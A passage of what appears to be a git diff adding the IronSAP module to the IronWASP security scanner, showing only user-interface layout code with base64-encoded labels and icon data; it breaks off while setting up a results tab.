IHNlcnZlci1zaWRlLg0KDQpBbGwgaWRlbnRpZmllZCBpbnN0YW5jZXMgb2YgdGhpcyBiZWhhdmlvdXIgYXJlIGNhdGVnb3JpemVkIGJ5IGhvc3RuYW1lIGFuZCBsaXN0ZWQgaGVyZS4gQ2xpY2sgb24gYSBob3N0bmFtZSB0byBzZWUgaWYgdGhlcmUgd2VyZSBhbnkgc3RvcmVkIHJlZmxlY3Rpb25zLiBTbWFsbCBwYXJhbWV0ZXIgdmFsdWVzIGFyZSBpZ25vcmVkIGR1cmluZyB0aGlzIGFuYWx5c2lzIHRvIHJlZHVjZSBub2lzZS4= + + + + + + + + + + + + + + + + + + + control_btn + + + 135 + 23 + + + 12 + 15 + + + True + False + True + False + + None + True + -986896 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U3RhcnQgQW5hbHlzaXM= + + + self.start_stop_hawas() + + + + \ No newline at end of file diff --git a/modules/IronSAP/IronSAP.py b/modules/IronSAP/IronSAP.py new file mode 100644 index 0000000..c4a32ac --- /dev/null +++ b/modules/IronSAP/IronSAP.py @@ -0,0 +1,256 @@ +from IronWASP import * +from IronSAPCore import start + +class IronSAP(Module): + + #Override the GetInstance method of the base class to return a new instance with details + def GetInstance(self): + m = IronSAP() + m.Name = "IronSAP" + return m + + def StartModule(self): + self.start_ui() + + def start_ui(self): + self.thread_id = 0 + + ui = ModUi() + ui.Size = ModUiTools.GetSizeDefinition(800,600) + ui.Text = Tools.Base64Decode('SXJvblNBUCAtICBTQVAgU2VjdXJpdHkgU2Nhbm5lcg==') + ui.Icon = ModUiTools.GetIconDefinition('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') + verbose_output_cb = ModCheckBox() + verbose_output_cb.Name = 'verbose_output_cb' + verbose_output_cb.Size = ModUiTools.GetSizeDefinition(153,24) + verbose_output_cb.Location = ModUiTools.GetLocationDefinition(155,58) + verbose_output_cb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + verbose_output_cb.Dock = ModUiTools.GetDockStyleDefinition('None') + verbose_output_cb.Enabled = True + verbose_output_cb.BackColor = ModUiTools.GetColorDefinition(-986896) + verbose_output_cb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + verbose_output_cb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + verbose_output_cb.Text = Tools.Base64Decode('UHJvdmlkZSBWZXJib3NlIFJlc3VsdHM=') + verbose_output_cb.Checked = False + ui.Controls.Add(verbose_output_cb) + ui.ModControls['verbose_output_cb'] = verbose_output_cb + perform_attack_cb = ModCheckBox() + perform_attack_cb.Name = 'perform_attack_cb' + perform_attack_cb.Size = ModUiTools.GetSizeDefinition(104,24) + perform_attack_cb.Location = ModUiTools.GetLocationDefinition(17,58) + perform_attack_cb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + perform_attack_cb.Dock = ModUiTools.GetDockStyleDefinition('None') + perform_attack_cb.Enabled = True + perform_attack_cb.BackColor = ModUiTools.GetColorDefinition(-986896) + perform_attack_cb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + perform_attack_cb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + perform_attack_cb.Text = Tools.Base64Decode('UGVyZm9ybSBBdHRhY2tz') + perform_attack_cb.Checked = False + ui.Controls.Add(perform_attack_cb) + ui.ModControls['perform_attack_cb'] = perform_attack_cb + mod_tab_control_2 = ModTabControl() + mod_tab_control_2.Name = 'mod_tab_control_2' + mod_tab_control_2.Size = ModUiTools.GetSizeDefinition(780,471) + mod_tab_control_2.Location = ModUiTools.GetLocationDefinition(2,88) + mod_tab_control_2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,True,True,True) + mod_tab_control_2.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_tab_control_2.Enabled = True + mod_tab_control_2.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_tab_control_2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_tab_control_2.TabPages.Add('tab_page_2', ' Combined Results ') + combined_out_tb = ModTextBox() + 